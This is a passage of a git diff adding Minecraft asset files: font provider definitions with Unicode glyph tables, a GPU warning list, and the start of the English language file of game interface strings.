"\u2469\u246a\u246b\u246c\u246d\u246e\u246f\u2470\u2471\u2472\u2473\u24b6\u24b7\u24b8\u24b9\u24ba", + "\u24bb\u24bc\u24bd\u24be\u24bf\u24c0\u24c1\u24c2\u24c3\u24c4\u24c5\u24c6\u24c7\u24c8\u24c9\u24ca", + "\u24cb\u24cc\u24cd\u24ce\u24cf\u24d0\u24d1\u24d2\u24d3\u24d4\u24d5\u24d6\u24d7\u24d8\u24d9\u24da", + "\u24db\u24dc\u24dd\u24de\u24df\u24e0\u24e1\u24e2\u24e3\u24e4\u24e5\u24e6\u24e7\u24e8\u24e9\u0327", + "\u0282\u0290\u0276\u01cd\u01ce\u01de\u01df\u01fa\u01fb\u0202\u0203\u0226\u0227\u01e0\u01e1\u1e00", + "\u1e01\u0200\u0201\u1e06\u1e07\u1e04\u1e05\u1d6c\u1e08\u1e09\u1e10\u1e11\u1e12\u1e13\u1e0e\u1e0f", + "\u1e0c\u1d6d\u1e14\u1e15\u1e16\u1e17\u1e18\u1e19\u1e1c\u1e1d\u0228\u0229\u1e1a\u1e1b\u0204\u0205", + "\u0206\u1d6e\u01f4\u01f5\u01e6\u1e26\u1e27\u1e28\u1e29\u1e2a\u1e2b\u021e\u021f\u1e24\u1e96\u1e2e", + "\u1e2f\u020a\u020b\u01cf\u01d0\u0208\u0209\u1e2c\u1e2d\u01f0\u0237\u01e8\u01e9\u1e32\u1e33\u1e34", + "\u1e35\u1e3a\u1e3b\u1e3c\u1e3d\u1e36\u1e37\u1e38\u1e39\u2c62\u1e3e\u1e3f\u1e42\u1e43\u1d6f\u1e44", + "\u1e45\u1e46\u1e47\u1e4a\u1e4b\u01f8\u01f9\u1e48\u1e49\u1d70\u01ec\u01ed\u022c\u022d\u1e4c\u1e4d", + "\u1e4e\u1e4f\u1e50\u1e51\u1e52\u1e53\u020e\u020f\u022a\u022b\u01d1\u01d2\u022e\u022f\u0230\u0231", + "\u020c\u020d\u01ea\u1e54\u1e55\u1d71\u0212\u0213\u1e58\u1e59\u1e5c\u1e5d\u1e5e\u1e5f\u0210\u0211", + "\u1e5a\u1d73\u1d72\u1e64\u1e65\u1e66\u1e67\u1e62\u1e63\u1e68\u1e69\u1d74\u1e70\u1e71\u1e6e\u1e6f", + "\u1e6c\u1e97\u1d75\u1e72\u1e73\u1e76\u1e77\u1e78\u1e79\u1e7a\u1e7b\u01d3\u01d4\u01d5\u01d6\u01d7", + "\u01d8\u01d9\u01da\u01db\u01dc\u1e74\u1e75\u0214\u0215\u0216\u1e7e\u1e7f\u1e7c\u1e7d\u1e86\u1e87", + "\u1e88\u1e89\u1e98\u1e8c\u1e8d\u1e8a\u1e8b\u0232\u0233\u1e8e\u1e8f\u1e99\u1e94\u1e95\u1e90\u1e91", + "\u1e93\u1d76\u01ee\u01ef\u1e9b\ua73e\ua73f\u01e2\u01e3\u1d7a\u1efb\u1d02\u1d14\uab63\u0238\u02a3", + "\u02a5\u02a4\u02a9\u02aa\u02ab\u0239\u02a8\u02a6\u02a7\uab50\uab51\u20a7\u1efa\ufb2e\ufb2f\u0180", + "\u0182\u0183\u0187\u0188\u018a\u018b\u018c\u0193\u01e4\u01e5\u0197\u0196\u0269\u0198\u0199\u019d", + "\u01a4\u01a5\u027d\u01a6\u01ac\u01ad\u01ab\u01ae\u0217\u01b1\u019c\u01b3\u01b4\u01b5\u01b6\u01a2", + "\u01a3\u0222\u0223\u02ad\u02ae\u02af\ufb14\ufb15\ufb17\ufb16\ufb13\u04d0\u04d1\u04d2\u04d3\u04f6", + "\u04f7\u0494\u0495\u04d6\u04d7\u04bc\u04bd\u04be\u04bf\u04da\u04db\u04dc\u04dd\u04c1\u04c2\u04de", + "\u04df\u04e2\u04e3\u04e4\u04e5\u04e6\u04e7\u04ea\u04eb\u04f0\u04f1\u04ee\u04ef\u04f2\u04f3\u04f4", + "\u04f5\u04f8\u04f9\u04ec\u04ed\u0476\u0477\u04d4\u04fa\u0502\ua682\ua680\ua688\u052a\u052c\ua684", + "\u0504\u0510\u04e0\u0506\u048a\u04c3\u049e\u049c\u051e\u051a\u04c5\u052e\u0512\u0520\u0508\u0514", + "\u04cd\u04c9\u0528\u04c7\u04a4\u0522\u050a\u04a8\u0524\u04a6\u048e\u0516\u050c\ua690\u04ac\ua68a", + "\ua68c\u050e\u04b2\u04fc\u04fe\u0526\ua694\u04b4\ua68e\u04b6\u04cb\u04b8\ua692\ua696\ua686\u048c", + "\u0518\u051c\u04d5\u04fb\u0503\ua683\ua681\ua689\u052b\u052d\ua685\u0505\u0511\u04e1\u0507\u048b", + "\u04c4\u049f\u049d\u051f\u051b\u04c6\u052f\u0513\u0521\u0509\u0515\u04ce\u04ca\u0529\u04c8\u04a5", + "\u0523\u050b\u04a9\u0525\u04a7\u048f\u0517\u050d\ua691\u04ad\ua68b\ua68d\u050f\u04b3\u04fd\u04ff", + "\u0527\ua695\u04b5\ua68f\u04b7\u04cc\u04b9\ua693\ua697\ua687\u048d\u0519\u051d\u1f08\u1f00\u1f09", + "\u1f01\u1f0a\u1f02\u1f0b\u1f03\u1f0c\u1f04\u1f0d\u1f05\u1f0e\u1f06\u1f0f\u1f07\u1fba\u1f70\u1fb8", + "\u1fb0\u1fb9\u1fb1\u1fbb\u1f71\u1f88\u1f80\u1f89\u1f81\u1f8a\u1f82\u1f8b\u1f83\u1f8c\u1f84\u1f8d", + "\u1f85\u1f8e\u1f86\u1f8f\u1f87\u1fbc\u1fb4\u1fb6\u1fb7\u1fb2\u1fb3\u1f18\u1f10\u1f19\u1f11\u1f1a", + "\u1f12\u1f1b\u1f13\u1f1c\u1f14\u1f1d\u1f15\u1fc8\u1fc9\u1f72\u1f73\u1f28\u1f20\u1fca\u1f74\u1f29", + "\u1f21\u1f2a\u1f22\u1f2b\u1f23\u1f2c\u1f24\u1f2d\u1f25\u1f2e\u1f26\u1f2f\u1f27\u1f98\u1f90\u1f99", + "\u1f91\u1f9a\u1f92\u1f9b\u1f93\u1f9c\u1f94\u1f9d\u1f95\u1f9e\u1f96\u1f9f\u1f97\u1fcb\u1f75\u1fcc", + "\u1fc3\u1fc2\u1fc4\u1fc6\u1fc7\u1fda\u1f76\u1fdb\u1f77\u1f38\u1f30\u1f39\u1f31\u1f3a\u1f32\u1f3b", + "\u1f33\u1f3c\u1f34\u1f3d\u1f35\u1f3e\u1f36\u1f3f\u1f37\u1fd8\u1fd0\u1fd9\u1fd1\u1fd2\u1fd3\u1fd6", + "\u1fd7\u1ff8\u1f78\u1ff9\u1f79\u1f48\u1f40\u1f49\u1f41\u1f4a\u1f42\u1f4b\u1f43\u1f4c\u1f44\u1f4d", + "\u1f45\u1fec\u1fe4\u1fe5\u1fea\u1f7a\u1feb\u1f7b\u1f59\u1f51\u1f5b\u1f53\u1f5d\u1f55\u1f5f\u1f57", + "\u1fe8\u1fe0\u1fe9\u1fe1\u03d3\u03d4\u1fe2\u1fe3\u1fe7\u1f50\u1f52\u1f54\u1fe6\u1f56\u1ffa\u1f7c", + "\u1ffb\u1f7d\u1f68\u1f60\u1f69\u1f61\u1f6a\u1f62\u1f6b\u1f63\u1f6c\u1f64\u1f6d\u1f65\u1f6e\u1f66", + "\u1f6f\u1f67\u1fa8\u1fa0\u1fa9\u1fa1\u1faa\u1fa2\u1fab\u1fa3\u1fac\u1fa4\u1fad\u1fa5\u1fae\u1fa6", + "\u1faf\u1fa7\u1ffc\u1ff3\u1ff2\u1ff4\u1ff6\u1ff7\u262f\u2610\u2611\u2612\u018d\u01ba\u2c7e\u023f", + "\u2c7f\u0240\u1d80\ua7c4\ua794\u1d81\u1d82\u1d83\ua795\u1d84\u1d85\u1d86\u1d87\u1d88\u1d89\u1d8a", + "\u1d8b\u1d8c\u1d8d\ua7c6\u1d8e\u1d8f\u1d90\u1d92\u1d93\u1d94\u1d95\u1d96\u1d97\u1d98\u1d99\u1d9a", + "\u1e9a\u2152\u2158\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000" + ] + }, + { + "type": "bitmap", + "file": "minecraft:font/ascii.png", + "ascent": 7, + "chars": [ + "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000", + "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000", + "\u0020\u0021\u0022\u0023\u0024\u0025\u0026\u0027\u0028\u0029\u002a\u002b\u002c\u002d\u002e\u002f", + "\u0030\u0031\u0032\u0033\u0034\u0035\u0036\u0037\u0038\u0039\u003a\u003b\u003c\u003d\u003e\u003f", + "\u0040\u0041\u0042\u0043\u0044\u0045\u0046\u0047\u0048\u0049\u004a\u004b\u004c\u004d\u004e\u004f", + "\u0050\u0051\u0052\u0053\u0054\u0055\u0056\u0057\u0058\u0059\u005a\u005b\u005c\u005d\u005e\u005f", + "\u0060\u0061\u0062\u0063\u0064\u0065\u0066\u0067\u0068\u0069\u006a\u006b\u006c\u006d\u006e\u006f", + "\u0070\u0071\u0072\u0073\u0074\u0075\u0076\u0077\u0078\u0079\u007a\u007b\u007c\u007d\u007e\u0000", + "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000", + "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u00a3\u0000\u0000\u0192", + "\u0000\u0000\u0000\u0000\u0000\u0000\u00aa\u00ba\u0000\u0000\u00ac\u0000\u0000\u0000\u00ab\u00bb", + "\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255d\u255c\u255b\u2510", + "\u2514\u2534\u252c\u251c\u2500\u253c\u255e\u255f\u255a\u2554\u2569\u2566\u2560\u2550\u256c\u2567", + "\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256b\u256a\u2518\u250c\u2588\u2584\u258c\u2590\u2580", + "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u2205\u2208\u0000", + "\u2261\u00b1\u2265\u2264\u2320\u2321\u00f7\u2248\u00b0\u2219\u00b7\u221a\u207f\u00b2\u25a0\u0000" + ] + }, + { + "type": "legacy_unicode", + "sizes": "minecraft:font/glyph_sizes.bin", + "template": "minecraft:font/unicode_page_%s.png" + } + ] +} diff --git a/src/assets/minecraft/font/glyph_sizes.bin b/src/assets/minecraft/font/glyph_sizes.bin new file mode 100644 index 00000000..69c857e3 Binary files /dev/null and b/src/assets/minecraft/font/glyph_sizes.bin differ diff --git a/src/assets/minecraft/font/uniform.json b/src/assets/minecraft/font/uniform.json new file mode 100644 index 00000000..a1d87764 --- /dev/null +++ b/src/assets/minecraft/font/uniform.json @@ -0,0 +1,9 @@ +{ + "providers": [ + { + "type": "legacy_unicode", + "sizes": "minecraft:font/glyph_sizes.bin", + "template": "minecraft:font/unicode_page_%s.png" + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/gpu_warnlist.json b/src/assets/minecraft/gpu_warnlist.json new file mode 100644 index 00000000..fd333c53 --- /dev/null +++ b/src/assets/minecraft/gpu_warnlist.json @@ -0,0 +1,7 @@ +{ + "renderer" : [], + "version" : [ + "^([0-2]\\.[0-9])" + ], + "vendor" : [] +} diff --git a/src/assets/minecraft/lang/en_us.json b/src/assets/minecraft/lang/en_us.json new file mode 100644 index 00000000..f38fcd82 --- /dev/null +++ b/src/assets/minecraft/lang/en_us.json @@ -0,0 +1,4814 @@ +{ + "language.name": "English", + "language.region": "United States", + "language.code": "en_us", + "narrator.button.accessibility": "Accessibility", + "narrator.button.language": "Language", + "narrator.button.difficulty_lock": "Difficulty lock", + "narrator.button.difficulty_lock.unlocked": "Unlocked", + "narrator.button.difficulty_lock.locked": "Locked", + "narrator.screen.title": "Title Screen", + "narrator.controls.reset": "Reset %s button", + "narrator.controls.bound": "%s is bound to %s", + "narrator.controls.unbound": "%s is not bound", + "narrator.select": "Selected: %s", + "narrator.select.world": "Selected %s, last played: %s, %s, %s, version: %s", + "narrator.loading": "Loading: %s", + "narrator.loading.done": "Done", + "narrator.joining": "Joining", + "narration.suggestion.tooltip": "Selected suggestion %d out of %d: %s (%s)", + "narration.suggestion": "Selected suggestion %d out of %d: %s", + "gui.done": "Done", + "gui.cancel": "Cancel", + "gui.back": "Back", + "gui.toTitle": "Back to Title Screen", + "gui.toMenu": "Back to Server List", + "gui.up": "Up", + "gui.down": "Down", + "gui.yes": "Yes", + "gui.no": "No", + "gui.none": "None", + "gui.all": "All", + "gui.ok": "Ok", + "gui.proceed": "Proceed", + "gui.recipebook.moreRecipes": "Right Click for More", + "gui.recipebook.search_hint": "Search...", + "gui.recipebook.toggleRecipes.all": "Showing All", + "gui.recipebook.toggleRecipes.craftable": "Showing Craftable", + "gui.recipebook.toggleRecipes.smeltable": "Showing Smeltable", + "gui.recipebook.toggleRecipes.blastable": "Showing Blastable", + "gui.recipebook.toggleRecipes.smokable": "Showing Smokable", + "gui.socialInteractions.title": "Social Interactions", + "gui.socialInteractions.tab_all": "All", + "gui.socialInteractions.tab_hidden": "Hidden", + "gui.socialInteractions.tab_blocked": "Blocked", + "gui.socialInteractions.blocking_hint": "Manage with Microsoft account", + "gui.socialInteractions.status_hidden": "Hidden", + "gui.socialInteractions.status_blocked": "Blocked", + "gui.socialInteractions.status_offline": "Offline", + "gui.socialInteractions.status_hidden_offline": "Hidden - Offline", + "gui.socialInteractions.status_blocked_offline": "Blocked - Offline", + "gui.socialInteractions.server_label.single": "%s - %s player", + "gui.socialInteractions.server_label.multiple": "%s - %s players", + "gui.socialInteractions.search_hint": "Search...", + "gui.socialInteractions.search_empty": "Couldn't find any players with that name", + "gui.socialInteractions.empty_hidden": "No players hidden in chat", + "gui.socialInteractions.empty_blocked": "No blocked players in chat", + "gui.socialInteractions.hide": "Hide in Chat", + "gui.socialInteractions.show": "Show in Chat", + "gui.socialInteractions.hidden_in_chat": "Chat messages from %s will be hidden", + "gui.socialInteractions.shown_in_chat": "Chat messages from %s will be shown", + "gui.socialInteractions.tooltip.hide": "Hide messages from %s in chat", + "gui.socialInteractions.tooltip.show": "Show messages from %s in chat", + "gui.narrate.button": "%s button", + "gui.narrate.slider": "%s slider", + "gui.narrate.editBox": "%s edit box: %s", + "translation.test.none": "Hello, world!", + "translation.test.complex": "Prefix, %s%2$s again %s and %1$s lastly %s and also %1$s again!", + "translation.test.escape": "%%s %%%s %%%%s %%%%%s", + "translation.test.invalid": "hi %", + "translation.test.invalid2": "hi % s", + "translation.test.args": "%s %s", + "translation.test.world": "world", + "menu.game": "Game Menu", + "menu.singleplayer": "Singleplayer", + "menu.multiplayer": "Multiplayer", + "menu.online": "Minecraft Realms", + "menu.options": "Options...", + "menu.quit": "Quit Game", + "menu.returnToMenu": "Save and Quit to Title", + "menu.disconnect": "Disconnect", + "menu.returnToGame": "Back to Game", + "menu.generatingLevel": "Generating world", + "menu.loadingLevel": "Loading world", + "menu.savingLevel": "Saving world", + "menu.working": "Working...", + "menu.savingChunks": "Saving chunks", + "menu.preparingSpawn": "Preparing spawn area: %s%%", + "menu.loadingForcedChunks": "Loading forced chunks for dimension %s", + "menu.generatingTerrain": "Building terrain", + "menu.convertingLevel": "Converting world", + "menu.respawning": "Respawning", + "menu.shareToLan": "Open to LAN", + "menu.sendFeedback": "Give Feedback", + "menu.reportBugs": "Report Bugs", + "menu.paused": "Game Paused", + "menu.modded": " (Modded)", + "optimizeWorld.confirm.title": "Optimize World", + "optimizeWorld.confirm.description": "This will attempt to optimize your world by making sure all data is stored in the most recent game format. This can take a very long time, depending on your world. Once done, your world may play faster but will no longer be compatible with older versions of the game. Are you sure you wish to proceed?", + "optimizeWorld.title": "Optimizing World '%s'", + "optimizeWorld.stage.counting": "Counting chunks...", + "optimizeWorld.stage.upgrading": "Upgrading all chunks...", + "optimizeWorld.stage.finished": "Finishing up...", + "optimizeWorld.stage.failed": "Failed! :(", + "optimizeWorld.info.converted": "Upgraded chunks: %s", + "optimizeWorld.info.skipped": "Skipped chunks: %s", + "optimizeWorld.info.total": "Total chunks: %s", + "selectWorld.title": "Select World", + "selectWorld.search": "search for worlds", + "selectWorld.world": "World", + "selectWorld.select": "Play Selected World", + "selectWorld.create": "Create New World", + "selectWorld.recreate": "Re-Create", + "selectWorld.createDemo": "Play New Demo World", + "selectWorld.delete": "Delete", + "selectWorld.edit": "Edit", + "selectWorld.edit.title": "Edit World", + "selectWorld.edit.resetIcon": "Reset Icon", + "selectWorld.edit.openFolder": "Open World Folder", + "selectWorld.edit.save": "Save", + "selectWorld.edit.backup": "Make Backup", + "selectWorld.edit.backupFolder": "Open Backups Folder", + "selectWorld.edit.backupFailed": "Backup failed", + "selectWorld.edit.backupCreated": "Backed up: %s", + "selectWorld.edit.backupSize": "size: %s MB", + "selectWorld.edit.optimize": "Optimize World", + "selectWorld.edit.export_worldgen_settings": "Export World Generation Settings", + "selectWorld.edit.export_worldgen_settings.success": "Exported", + "selectWorld.edit.export_worldgen_settings.failure": "Export failed", + "selectWorld.deleteQuestion": "Are you sure you want to delete this world?", + "selectWorld.deleteWarning": "'%s' will be lost forever! (A long time!)", + "selectWorld.deleteButton": "Delete", + "selectWorld.conversion": "Must be converted!", + "selectWorld.locked": "Locked by another running instance of Minecraft", + "selectWorld.newWorld": "New World", + "selectWorld.enterName": "World Name", + "selectWorld.resultFolder": "Will be saved in:", + "selectWorld.enterSeed": "Seed for the world generator", + "selectWorld.seedInfo": "Leave blank for a random seed", + "selectWorld.cheats": "Cheats", + "selectWorld.customizeType": "Customize", + "selectWorld.version": "Version:", + "selectWorld.versionUnknown": "unknown", + "selectWorld.versionQuestion": "Do you really want to load this world?", + "selectWorld.versionWarning": "This world was last played in version %s and loading it in this version could cause corruption!", + "selectWorld.versionJoinButton": "Load Anyway", + "selectWorld.backupQuestion": "Do you really want to load this world?", + "selectWorld.backupWarning": "This world was last played in version %s; you are on version %s. Please make a backup in case you experience world corruptions!", + "selectWorld.backupQuestion.customized": "Customized worlds are no longer supported", + "selectWorld.backupWarning.customized": "Unfortunately, we do not support customized worlds in this version of Minecraft. We can still load this world and keep everything the way it was, but any newly generated terrain will no longer be customized. We're sorry for the inconvenience!", + "selectWorld.backupQuestion.experimental": "Worlds using Experimental Settings are not supported", + "selectWorld.backupWarning.experimental": "This world uses experimental settings that could stop working at any time. We cannot guarantee it will load or work. Here be dragons!", + "selectWorld.backupEraseCache": "Erase cached data", + "selectWorld.backupJoinConfirmButton": "Create Backup and Load", + "selectWorld.backupJoinSkipButton": "I know what I'm doing!", + "selectWorld.tooltip.fromNewerVersion1": "World was saved in a newer version,", + "selectWorld.tooltip.fromNewerVersion2": "loading this world could cause problems!", + "selectWorld.tooltip.snapshot1": "Don't forget to back up this world", + "selectWorld.tooltip.snapshot2": "before you load it in this snapshot.", + "selectWorld.unable_to_load": "Unable to load worlds", + "selectWorld.futureworld.error.title": "An error occurred!", + "selectWorld.futureworld.error.text": "Something went wrong while trying to load a world from a future version. This was a risky operation to begin with; sorry it didn't work.", + "selectWorld.recreate.error.title": "An error occurred!", + "selectWorld.recreate.error.text": "Something went wrong while trying to recreate a world.", + "selectWorld.recreate.customized.title": "Customized worlds are no longer supported", + "selectWorld.recreate.customized.text": "Customized worlds are no longer supported in this version of Minecraft. We can try to recreate it with the same seed and properties, but any terrain customizations will be lost. We're sorry for the inconvenience!", + "selectWorld.load_folder_access": "Unable to read or access folder where game worlds are saved!", + "selectWorld.access_failure": "Failed to access world", + "selectWorld.delete_failure": "Failed to delete world", + "selectWorld.data_read": "Reading world data...", + "createWorld.customize.presets": "Presets", + "createWorld.customize.presets.title": "Select a Preset", + "createWorld.customize.presets.select": "Use Preset", + "createWorld.customize.presets.share": "Want to share your preset with someone? Use the box below!", + "createWorld.customize.presets.list": "Alternatively, here's some we made earlier!", + "createWorld.customize.flat.title": "Superflat Customization", + "createWorld.customize.flat.tile": "Layer Material", + "createWorld.customize.flat.height": "Height", + "createWorld.customize.flat.removeLayer": "Remove Layer", + "createWorld.customize.flat.layer.top": "Top - %s", + "createWorld.customize.flat.layer": "%s", + "createWorld.customize.flat.layer.bottom": "Bottom - %s", + "createWorld.customize.buffet.title": "Buffet world customization", + "createWorld.customize.buffet.biome": "Please select a biome", + "createWorld.customize.preset.classic_flat": "Classic Flat", + "createWorld.customize.preset.tunnelers_dream": "Tunnelers' Dream", + "createWorld.customize.preset.water_world": "Water World", + "createWorld.customize.preset.overworld": "Overworld", + "createWorld.customize.preset.snowy_kingdom": "Snowy Kingdom", + "createWorld.customize.preset.bottomless_pit": "Bottomless Pit", + "createWorld.customize.preset.desert": "Desert", + "createWorld.customize.preset.redstone_ready": "Redstone Ready", + "createWorld.customize.preset.the_void": "The Void", + "createWorld.customize.custom.page0": "Basic Settings", + "createWorld.customize.custom.page1": "Ore Settings", + "createWorld.customize.custom.page2": "Advanced Settings (Expert Users Only!)", + "createWorld.customize.custom.page3": "Extra Advanced Settings (Expert Users Only!)", + "createWorld.customize.custom.randomize": "Randomize", + "createWorld.customize.custom.prev": "Previous Page", + "createWorld.customize.custom.next": "Next Page", + "createWorld.customize.custom.defaults": "Defaults", + "createWorld.customize.custom.confirm1": "This will overwrite your current", + "createWorld.customize.custom.confirm2": "settings and cannot be undone.", + "createWorld.customize.custom.confirmTitle": "Warning!", + "createWorld.customize.custom.mainNoiseScaleX": "Main Noise Scale X", + "createWorld.customize.custom.mainNoiseScaleY": "Main Noise Scale Y", + "createWorld.customize.custom.mainNoiseScaleZ": "Main Noise Scale Z", + "createWorld.customize.custom.depthNoiseScaleX": "Depth Noise Scale X", + "createWorld.customize.custom.depthNoiseScaleZ": "Depth Noise Scale Z", + "createWorld.customize.custom.depthNoiseScaleExponent": "Depth Noise Exponent", + "createWorld.customize.custom.baseSize": "Depth Base Size", + "createWorld.customize.custom.coordinateScale": "Coordinate Scale", + "createWorld.customize.custom.heightScale": "Height Scale", + "createWorld.customize.custom.stretchY": "Height Stretch", + "createWorld.customize.custom.upperLimitScale": "Upper Limit Scale", + "createWorld.customize.custom.lowerLimitScale": "Lower Limit Scale", + "createWorld.customize.custom.biomeDepthWeight": "Biome Depth Weight", + "createWorld.customize.custom.biomeDepthOffset": "Biome Depth Offset", + "createWorld.customize.custom.biomeScaleWeight": "Biome Scale Weight", + "createWorld.customize.custom.biomeScaleOffset": "Biome Scale Offset", + "createWorld.customize.custom.seaLevel": "Sea Level", + "createWorld.customize.custom.useCaves": "Caves", + "createWorld.customize.custom.useStrongholds": "Strongholds", + "createWorld.customize.custom.useVillages": "Villages", + "createWorld.customize.custom.useMineShafts": "Mineshafts", + "createWorld.customize.custom.useTemples": "Temples", + "createWorld.customize.custom.useOceanRuins": "Ocean Ruins", + "createWorld.customize.custom.useMonuments": "Ocean Monuments", + "createWorld.customize.custom.useMansions": "Woodland Mansions", + "createWorld.customize.custom.useRavines": "Ravines", + "createWorld.customize.custom.useDungeons": "Dungeons", + "createWorld.customize.custom.dungeonChance": "Dungeon Count", + "createWorld.customize.custom.useWaterLakes": "Water Lakes", + "createWorld.customize.custom.waterLakeChance": "Water Lake Rarity", + "createWorld.customize.custom.useLavaLakes": "Lava Lakes", + "createWorld.customize.custom.lavaLakeChance": "Lava Lake Rarity", + "createWorld.customize.custom.useLavaOceans": "Lava Oceans", + "createWorld.customize.custom.fixedBiome": "Biome", + "createWorld.customize.custom.biomeSize": "Biome Size", + "createWorld.customize.custom.riverSize": "River Size", + "createWorld.customize.custom.size": "Spawn Size", + "createWorld.customize.custom.count": "Spawn Tries", + "createWorld.customize.custom.minHeight": "Min. Height", + "createWorld.customize.custom.maxHeight": "Max. Height", + "createWorld.customize.custom.center": "Center Height", + "createWorld.customize.custom.spread": "Spread Height", + "createWorld.customize.custom.presets.title": "Customize World Presets", + "createWorld.customize.custom.presets": "Presets", + "createWorld.customize.custom.preset.waterWorld": "Water World", + "createWorld.customize.custom.preset.isleLand": "Isle Land", + "createWorld.customize.custom.preset.caveDelight": "Caver's Delight", + "createWorld.customize.custom.preset.mountains": "Mountain Madness", + "createWorld.customize.custom.preset.drought": "Drought", + "createWorld.customize.custom.preset.caveChaos": "Caves of Chaos", + "createWorld.customize.custom.preset.goodLuck": "Good Luck", + "createWorld.preparing": "Preparing for world creation...", + "datapackFailure.title": "Errors in currently selected datapacks prevented the world from loading.\nYou can either try to load it with only the vanilla data pack (\"safe mode\"), or go back to the title screen and fix it manually.", + "datapackFailure.safeMode": "Safe Mode", + "editGamerule.title": "Edit Game Rules", + "editGamerule.default": "Default: %s", + "gameMode.survival": "Survival Mode", + "gameMode.creative": "Creative Mode", + "gameMode.adventure": "Adventure Mode", + "gameMode.spectator": "Spectator Mode", + "gameMode.hardcore": "Hardcore Mode!", + "gameMode.changed": "Your game mode has been updated to %s", + "spectatorMenu.previous_page": "Previous Page", + "spectatorMenu.next_page": "Next Page", + "spectatorMenu.close": "Close Menu", + "spectatorMenu.teleport": "Teleport to Player", + "spectatorMenu.teleport.prompt": "Select a player to teleport to", + "spectatorMenu.team_teleport": "Teleport to Team Member", + "spectatorMenu.team_teleport.prompt": "Select a team to teleport to", + "spectatorMenu.root.prompt": "Press a key to select a command, and again to use it.", + "selectWorld.gameMode": "Game Mode", + "selectWorld.gameMode.survival": "Survival", + "selectWorld.gameMode.survival.line1": "Search for resources, craft, gain", + "selectWorld.gameMode.survival.line2": "levels, health and hunger", + "selectWorld.gameMode.creative": "Creative", + "selectWorld.gameMode.creative.line1": "Unlimited resources, free flying and", + "selectWorld.gameMode.creative.line2": "destroy blocks instantly", + "selectWorld.gameMode.spectator": "Spectator", + "selectWorld.gameMode.spectator.line1": "You can look but don't touch", + "selectWorld.gameMode.spectator.line2": "", + "selectWorld.gameMode.hardcore": "Hardcore", + "selectWorld.gameMode.hardcore.line1": "Same as Survival Mode, locked at hardest", + "selectWorld.gameMode.hardcore.line2": "difficulty, and one life only", + "selectWorld.gameMode.adventure": "Adventure", + "selectWorld.gameMode.adventure.line1": "Same as Survival Mode, but blocks can't", + "selectWorld.gameMode.adventure.line2": "be added or removed", + "selectWorld.moreWorldOptions": "More World Options...", + "selectWorld.gameRules": "Game Rules", + "selectWorld.mapFeatures": "Generate Structures", + "selectWorld.mapFeatures.info": "Villages, dungeons etc.", + "selectWorld.mapType": "World Type:", + "selectWorld.mapType.normal": "Normal", + "selectWorld.allowCommands": "Allow Cheats", + "selectWorld.allowCommands.info": "Commands like /gamemode, /experience", + "selectWorld.dataPacks": "Data Packs", + "selectWorld.bonusItems": "Bonus Chest", + "selectWorld.import_worldgen_settings": "Import Settings", + "selectWorld.import_worldgen_settings.select_file": "Select settings file (.json)", + "selectWorld.import_worldgen_settings.failure": "Error importing settings", + "selectWorld.import_worldgen_settings.experimental.title": "Warning! These settings are using experimental features", + "selectWorld.import_worldgen_settings.experimental.question": "These settings are experimental and could one day stop working. Do you wish to proceed?", + "selectWorld.import_worldgen_settings.deprecated.title": "Warning! These settings are using deprecated features", + "selectWorld.import_worldgen_settings.deprecated.question": "Some features used are deprecated and will stop working in the future. Do you wish to proceed?", + "generator.default": "Default", + "generator.flat": "Superflat", + "generator.large_biomes": "Large Biomes", + "generator.amplified": "AMPLIFIED", + "generator.customized": "Old Customized", + "generator.custom": "Custom", + "generator.debug_all_block_states": "Debug Mode", + "generator.amplified.info": "Notice: Just for fun! Requires a beefy computer.", + "generator.single_biome_surface": "Single Biome", + "generator.single_biome_caves": "Caves", + "generator.single_biome_floating_islands": "Floating Islands", + "selectServer.title": "Select Server", + "selectServer.select": "Join Server", + "selectServer.direct": "Direct Connection", + "selectServer.edit": "Edit", + "selectServer.delete": "Delete", + "selectServer.add": "Add Server", + "selectServer.defaultName": "Minecraft Server", + "selectServer.deleteQuestion": "Are you sure you want to remove this server?", + "selectServer.deleteWarning": "'%s' will be lost forever! (A long time!)", + "selectServer.deleteButton": "Delete", + "selectServer.refresh": "Refresh", + "selectServer.hiddenAddress": "(Hidden)", + "addServer.title": "Edit Server Info", + "addServer.enterName": "Server Name", + "addServer.enterIp": "Server Address", + "addServer.add": "Done", + "addServer.hideAddress": "Hide Address", + "addServer.resourcePack": "Server Resource Packs", + "addServer.resourcePack.enabled": "Enabled", + "addServer.resourcePack.disabled": "Disabled", + "addServer.resourcePack.prompt": "Prompt", + "lanServer.title": "LAN World", + "lanServer.scanning": "Scanning for games on your local network", + "lanServer.start": "Start LAN World", + "lanServer.otherPlayers": "Settings for Other Players", + "multiplayerWarning.header": "Caution: Third-Party Online Play", + "multiplayerWarning.message": "Caution: Online play is offered by third-party servers that are not owned, operated, or supervised by Mojang Studios or Microsoft. During online play, you may be exposed to unmoderated chat messages or other types of user-generated content that may not be suitable for everyone.", + "multiplayerWarning.check": "Do not show this screen again", + "multiplayer.title": "Play Multiplayer", + "multiplayer.texturePrompt.line1": "This server recommends the use of a custom resource pack.", + "multiplayer.texturePrompt.line2": "Would you like to download and install it automagically?", + "multiplayer.downloadingTerrain": "Loading terrain...", + "multiplayer.downloadingStats": "Retrieving statistics...", + "multiplayer.stopSleeping": "Leave Bed", + "multiplayer.message_not_delivered": "Can't deliver chat message, check server logs: %s", + "multiplayer.player.joined": "%s joined the game", + "multiplayer.player.joined.renamed": "%s (formerly known as %s) joined the game", + "multiplayer.player.left": "%s left the game", + "multiplayer.status.and_more": "... and %s more ...", + "multiplayer.status.cancelled": "Cancelled", + "multiplayer.status.cannot_connect": "Can't connect to server", + "multiplayer.status.cannot_resolve": "Can't resolve hostname", + "multiplayer.status.finished": "Finished", + "multiplayer.status.incompatible": "Incompatible version!", + "multiplayer.status.no_connection": "(no connection)", + 